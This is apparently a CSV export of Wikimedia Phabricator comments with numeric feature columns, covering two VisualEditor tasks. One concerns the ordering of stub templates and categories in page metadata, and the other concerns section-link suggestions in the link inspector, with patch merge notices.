240748,VisualEditor: Place page meta-data in expected order,*** Bug 51714 has been marked as a duplicate of this bug. ***,,,1377833797,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51714 has been marked as a duplicate of this bug. ***
240740,VisualEditor: Place page meta-data in expected order,"The reasons behind [[WP:ORDER]] are:
1) We want ""stub categories"" to appear Last in the list of categories.
2) We want 2 blank lines preceding stub-templates, for whitespace. (Other ways of achieving this are more complex, or don't work for articles with multiple stub-templates.)
See example of both factors, at http://en.wikipedia.org/w/index.php?title=Milo_McCarger&oldid=532917627


(To quote the [[WP:ORDER]] reference here, for ease of access: ""While categories are entered on the editing page ahead of stub templates, they appear on the visual page in a separate box after the stub templates. One of the reasons this happens is that every stub template generates a stub category, and those stub categories appear after the ""main"" categories. Another is that certain bots and scripts are set up to expect the cats, stubs and ILLs to appear in that order, and will reposition them if they don't. Therefore, any manual attempt to change the order is doomed unless the bots and scripts are also altered."")",,,1373650166,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,False,,,1,,0.6666666666666666,0.0,0.0,1.6666666666666667,0.6666666666666666,3.6666666666666665,1.0,0.0,0.0,1.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,11.333333333333334,0.0,2.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,6.333333333333333,1.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,5.0,3.3333333333333335,6.0,2.0,2.6666666666666665,8.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.6666666666666666,0.0,2.0,11.333333333333334,0.6666666666666666,0.0,2.3333333333333335,0.0,2.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,2.0,3.747619047619048,0.6904761904761906,"The reasons behind [[WP:ORDER]] are:
1) We want ""stub categories"" to appear Last in the list of categories.
2) We want 2 blank lines preceding stub-templates, for whitespace. (Other ways of achieving this are more complex, or don't work for articles with multiple stub-templates.)
See example of both factors, at URL


(To quote the [[WP:ORDER]] reference here, for ease of access: ""While categories are entered on the editing page ahead of stub templates, they appear on the visual page in a separate box after the stub templates. One of the reasons this happens is that every stub template generates a stub category, and those stub categories appear after the ""main"" categories. Another is that certain bots and scripts are set up to expect the cats, stubs and ILLs to appear in that order, and will reposition them if they don't. Therefore, any manual attempt to change the order is doomed unless the bots and scripts are also altered."")"
240734,VisualEditor: Place page meta-data in expected order,"(In reply to comment #2)
> The problem here is not specifically ""stub templates"", but the general idea
> that some items of content - in this case, on one wiki, a sub-type of
> template that is trivially-identifiable to humans but not necessarily so for
> software - should have its own special ordering when the page is
> re-serialised. The explanation for why this (relatively new?) policy change
> for enwiki seems to be absent [...]

This practice has been documented at [[WP:LAYOUT]] for at least a few years. It's been standard practice since before then. There's a note in the current version of that document that explains that it's due to a battle with bots (notable AutoWikiBrowser, as I recall). Because most people add stub categories with AWB or similar scripts, the conventions those tools use become (or rather, became) wiki conventions.

I agree with the general point that we should move this type of information (whether a page is a stub and if so, what kind of stub) to a metadata area.",,,1373422161,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,False,,,1,,0.5,0.0,0.0,0.5,0.0,6.0,1.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.5,2.0,0.0,3.0,11.5,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,0.5,0.5,0.5,14.0,0.0,2.5,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,5.5,1.5,9.5,3.0,2.0,8.5,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,3.0,11.5,3.5,0.0,0.0,0.0,3.0,0.0,2.0,3.5,0.0,0.0,0.0,1.0,1.0,3.6736111111111107,0.7083333333333334,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This practice has been documented at [[WP:LAYOUT]] for at least a few years. It's been standard practice since before then. There's a note in the current version of that document that explains that it's due to a battle with bots (notable AutoWikiBrowser, as I recall). Because most people add stub categories with AWB or similar scripts, the conventions those tools use become (or rather, became) wiki conventions.

I agree with the general point that we should move this type of information (whether a page is a stub and if so, what kind of stub) to a metadata area."
240727,VisualEditor: Place page meta-data in expected order,Moving back to VE as this is handled in VE until we move metadata out of the body.,,,1373400958,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,32.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.4210526315789473,0.9473684210526315,Moving back to VE as this is handled in VE until we move metadata out of the body.
240719,VisualEditor: Place page meta-data in expected order,"In the medium term I'd like to move metadata like categories out of the page and into a header section (see bug 49143).

In the meantime, we serialize metadata wherever the VE places it in the DOM.",,,1373400711,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,0.0,11.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,18.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.8181818181818182,"In the medium term I'd like to move metadata like categories out of the page and into a header section (see bug 49143).

In the meantime, we serialize metadata wherever the VE places it in the DOM."
240711,VisualEditor: Place page meta-data in expected order,"I've re-titled this bug to ""Provide a way for Parsoid to know that some types of some content on some wikis go after the meta-data, not in the body of the document"", which I think captures the 'ask' here most generally. I believe that currently, Parsoid puts all content first, followed by meta-data in the order ""Magic words (e.g. DEFAULTSORT) > Categories > Language links"", which is MediaWiki standard style.

The problem here is not specifically ""stub templates"", but the general idea that some items of content - in this case, on one wiki, a sub-type of template that is trivially-identifiable to humans but not necessarily so for software - should have its own special ordering when the page is re-serialised. The explanation for why this (relatively new?) policy change for enwiki seems to be absent, unlike for the other elements; it adds complexity without justifying why, as far as I can see.

I think it is unlikely that we will change things so that Parsoid has an understanding of what kinds of content it is dealing with, much less a concept of per-wiki settings for where the content should be positioned. Just because the English Wikipedia likes things one way doesn't mean we should impose those standards on everyone else - for example, another wiki might like their categories at the top, or their semi-structured data template (like PERSONDATA) at the very bottom, or… any one of countless other possible orderings that don't effect readers. Remember that VisualEditor is currently available on 300 wikis, and is being developed for all ~900 Wikimedia wikis, the ~300,000 Wikia wikis, and numerous other wikis as well.

This is not saying that this request is impossible, that the barriers are insurmountable, that it will never be done, or that our mind is set for ever on this matter. However, coming up with a system for specifying this on a per-wiki basis, and justifying us spending (significant) developer time adding complexity and confusion to the code and the user interfaces is going to be challenging. This is time that would otherwise be spent on fixing bugs, on editing tables, on a better reference dialog, on supporting language variants as used in (e.g.) Chinese. I don't think that we can prioritise this above these other issues; sorry.",,,1373395467,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,True,,,1,,1.6,0.2,0.2,1.4,1.4,6.4,1.0,0.2,0.0,0.0,2.4,1.2,0.0,0.0,0.0,2.2,1.2,7.4,13.8,0.2,0.8,0.6,0.2,0.2,0.0,0.2,0.0,0.4,0.6,0.6,0.2,5.4,1.8,1.0,0.6,0.0,0.2,0.4,1.0,0.8,0.0,0.4,0.0,1.2,0.0,0.8,0.2,0.6,1.4,15.6,0.6,2.0,0.2,0.4,0.0,0.0,0.2,0.0,0.6,0.0,0.2,1.2,0.0,0.4,0.2,0.6,0.2,5.0,4.0,5.8,3.4,2.0,9.6,0.0,0.0,0.0,0.0,3.6,0.0,0.8,0.0,3.6,13.8,3.0,0.2,1.6,0.0,3.6,0.0,2.0,1.4,0.2,2.4,0.4,0.2,0.4,4.077419354838709,0.7333333333333334,"I've re-titled this bug to ""Provide a way for Parsoid to know that some types of some content on some wikis go after the meta-data, not in the body of the document"", which I think captures the 'ask' here most generally. I believe that currently, Parsoid puts all content first, followed by meta-data in the order ""Magic words (e.g. DEFAULTSORT) > Categories > Language links"", which is MediaWiki standard style.

The problem here is not specifically ""stub templates"", but the general idea that some items of content - in this case, on one wiki, a sub-type of template that is trivially-identifiable to humans but not necessarily so for software - should have its own special ordering when the page is re-serialised. The explanation for why this (relatively new?) policy change for enwiki seems to be absent, unlike for the other elements; it adds complexity without justifying why, as far as I can see.

I think it is unlikely that we will change things so that Parsoid has an understanding of what kinds of content it is dealing with, much less a concept of per-wiki settings for where the content should be positioned. Just because the English Wikipedia likes things one way doesn't mean we should impose those standards on everyone else - for example, another wiki might like their categories at the top, or their semi-structured data template (like PERSONDATA) at the very bottom, or… any one of countless other possible orderings that don't effect readers. Remember that VisualEditor is currently available on 300 wikis, and is being developed for all ~900 Wikimedia wikis, the ~300,000 Wikia wikis, and numerous other wikis as well.

This is not saying that this request is impossible, that the barriers are insurmountable, that it will never be done, or that our mind is set for ever on this matter. However, coming up with a system for specifying this on a per-wiki basis, and justifying us spending (significant) developer time adding complexity and confusion to the code and the user interfaces is going to be challenging. This is time that would otherwise be spent on fixing bugs, on editing tables, on a better reference dialog, on supporting language variants as used in (e.g.) Chinese. I don't think that we can prioritise this above these other issues; sorry."
240704,VisualEditor: Place page meta-data in expected order,"This is not minor, unless enwiki has agreed to abandon the long-established rules set out in http://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Layout#Order_of_sections . I have just added a category to [[Permyak Salty Ears]] (it's a sculpture I was stub-sorting), and it has been put below the stub tag and interwiki link, and not adjacent to two existing categories. 

There are also rules for the top of the article: navigational hatnotes go before anything else. Not in VE. WP:AWB sorts these out misplaced elements as part of ""General fixes""; Twinkle can put a newly-added maintenance tag within the {{tl|multiple issues}} tag. It is very disappointing that VE seems incapable of offering the same level of helpfulness as these existing systems have offered for years.",,,1373371153,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,False,,,1,,0.0,0.5,0.5,0.5,1.5,5.0,1.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.5,1.0,0.0,5.0,12.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,6.5,0.5,1.5,1.5,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.5,0.0,0.5,0.0,0.5,0.5,2.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.0,2.5,9.5,1.0,1.5,7.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.5,12.0,5.0,0.0,1.5,0.0,2.5,0.0,0.0,1.5,0.0,2.0,0.0,0.0,1.0,3.8933333333333335,0.7666666666666666,"This is not minor, unless enwiki has agreed to abandon the long-established rules set out in URL . I have just added a category to [[Permyak Salty Ears]] (it's a sculpture I was stub-sorting), and it has been put below the stub tag and interwiki link, and not adjacent to two existing categories. 

There are also rules for the top of the article: navigational hatnotes go before anything else. Not in VE. WP:AWB sorts these out misplaced elements as part of ""General fixes""; Twinkle can put a newly-added maintenance tag within the {{tl|multiple issues}} tag. It is very disappointing that VE seems incapable of offering the same level of helpfulness as these existing systems have offered for years."
52881,VisualEditor: Link input widget should suggest section links,"When I edited an internal link and pasted in Work_breakdown_structure#Terminal_element as the new link target, the link editor widget thought that it was a new page, because it didn't understand that the # referenced an anchor within that page.

However, that was just a harmless warning - it did work. So I am classifying this as minor severity, because it is merely an incorrect warning message that could confuse editors.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373173500,1718627142.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.0,1.0,7.0,3.0,2.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,2.0,1.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,16.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,8.0,5.0,1.0,11.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,6.0,8.0,1.0,0.0,0.0,0.0,6.0,0.0,2.0,5.0,0.0,1.0,0.0,0.0,0.0,4.463917525773196,0.6185567010309279,"When I edited an internal link and pasted in Work_breakdown_structure#Terminal_element as the new link target, the link editor widget thought that it was a new page, because it didn't understand that the # referenced an anchor within that page.

However, that was just a harmless warning - it did work. So I am classifying this as minor severity, because it is merely an incorrect warning message that could confuse editors.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
2358770,VisualEditor: Link input widget should suggest section links,Filed remaining work as T367739,,,1718627142,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,572,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.4,1.0,Filed remaining work as T367739
2321177,VisualEditor: Link input widget should suggest section links,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:

~~[[ https://patchdemo.wmflabs.org/wikis/dacb60851e/w/ ]]~~",,,1713878088,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,564,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.58974358974359,0.6923076923076923,"Test wiki on [[ URL | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
2243394,VisualEditor: Link input widget should suggest section links,"Change 975293 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Link inspector: Use searchFragments feature in TitleWidget%%%
https://gerrit.wikimedia.org/r/975293",,,1701967466,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.484848484848484,0.7575757575757576,"Change 975293 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Link inspector: Use searchFragments feature in TitleWidget%%%
GERRIT_URL"
2243393,VisualEditor: Link input widget should suggest section links,"Change 975292 **merged** by jenkins-bot:
%%%[mediawiki/core@master] TitleWidget: Allow searching for section fragments%%%
https://gerrit.wikimedia.org/r/975292",,,1701967461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,544,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,4.066666666666666,0.7666666666666667,"Change 975292 **merged** by jenkins-bot:
%%%[mediawiki/core@master] TitleWidget: Allow searching for section fragments%%%
GERRIT_URL"
2236173,VisualEditor: Link input widget should suggest section links,"3 & 4 are fixed. 1 is more complicated as it requires more interaction between VE and this core component (VE needs to override the list of available sections, rather than use an API call). I think that should probably be fixed later.",,,1701100973,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,543,,0.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,6.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,3.9183673469387754,0.8979591836734694,"3 & 4 are fixed. 1 is more complicated as it requires more interaction between VE and this core component (VE needs to override the list of available sections, rather than use an API call). I think that should probably be fixed later."
2234309,VisualEditor: Link input widget should suggest section links,">>! In T52881#9352286, @gerritbot wrote:
> Change 976691 had a related patch set uploaded (by Sophivorus; author: Sophivorus):
> %%%[mediawiki/extensions/ParserFunctions@REL1_39] Backport fix of implicit conversion to int%%%
> https://gerrit.wikimedia.org/r/976691

Tagged the wrong bug, sorry.",,,1700655480,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,542,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,33.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.6666666666666666,"QUOTE
QUOTE
QUOTE
QUOTE

Tagged the wrong bug, sorry."
2234304,VisualEditor: Link input widget should suggest section links,"Change 976691 had a related patch set uploaded (by Sophivorus; author: Sophivorus):
%%%[mediawiki/extensions/ParserFunctions@REL1_39] Backport fix of implicit conversion to int%%%
https://gerrit.wikimedia.org/r/976691",,,1700655252,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,542,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.777777777777778,0.8611111111111112,"Change 976691 had a related patch set uploaded (by Sophivorus; author: Sophivorus):
%%%[mediawiki/extensions/ParserFunctions@REL1_39] Backport fix of implicit conversion to int%%%
GERRIT_URL"
2234132,VisualEditor: Link input widget should suggest section links,"Thanks for the feedback.
1 sounds useful and should be fixable.
I think points 2-3 can be addressed later in follow ups.
4 should be fixed, we should replace underscores when normalising.
5: if you start typing # immediately you get no page name. Removing the page name could arguably be a Parsoid job, or something we should leave in if the user types it explicitly, but we could remove it locally.",,,1700639837,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,542,,0.0,1.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,1.0,8.0,6.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,6.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,5.0,3.0,3.0,6.0,0.0,0.0,0.0,1.0,8.0,0.0,6.0,0.0,9.0,6.0,1.0,0.0,0.0,0.0,9.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.772727272727273,0.6931818181818182,"Thanks for the feedback.
1 sounds useful and should be fixable.
I think points 2-3 can be addressed later in follow ups.
4 should be fixed, we should replace underscores when normalising.
5: if you start typing # immediately you get no page name. Removing the page name could arguably be a Parsoid job, or something we should leave in if the user types it explicitly, but we could remove it locally."
2231818,VisualEditor: Link input widget should suggest section links,"Really nice UX! 🙂
Some minor limitations I noted:
- Added/edited headings in the current editing session are not reachable.
- Since selecting the target page with directional keys does not fill the text input (what a browser URL bar usually does), in order to link an external section without fully typing the target page name, you have to first add a link to the page name, then edit it to add the fragment.
- For local page section suggestions, a middle click opens the page in visual editing mode rather than reading mode like for external sections.
- It does not recognize underscore as space equivalent; so copying the fragment from a URL looks like it is not an existing section.
- For local sections, the resulting wikitext uselessly adds page name before fragment. (T239847)",,,1700257312,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,541,,0.5,0.0,0.5,0.0,2.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,11.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,2.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,8.5,1.0,6.5,0.5,0.0,9.0,0.5,0.0,0.5,0.0,3.5,0.0,0.0,0.0,3.0,11.0,1.0,0.0,0.0,0.0,3.0,0.0,0.5,3.5,0.0,3.5,0.0,0.0,0.0,4.0569444444444445,0.7265432098765432,"Really nice UX! 🙂
Some minor limitations I noted:
- Added/edited headings in the current editing session are not reachable.
- Since selecting the target page with directional keys does not fill the text input (what a browser URL bar usually does), in order to link an external section without fully typing the target page name, you have to first add a link to the page name, then edit it to add the fragment.
- For local page section suggestions, a middle click opens the page in visual editing mode rather than reading mode like for external sections.
- It does not recognize underscore as space equivalent; so copying the fragment from a URL looks like it is not an existing section.
- For local sections, the resulting wikitext uselessly adds page name before fragment. (T239847)"
2231579,VisualEditor: Link input widget should suggest section links,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
[[ https://patchdemo.wmflabs.org/wikis/dacb60851e/wiki/Douglas Adams?veaction=edit ]]",,,1700234169,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,541,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,2.9210526315789473,0.7105263157894737,"Test wiki **created** on [[ URL | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
[[ URL Adams?veaction=edit ]]"
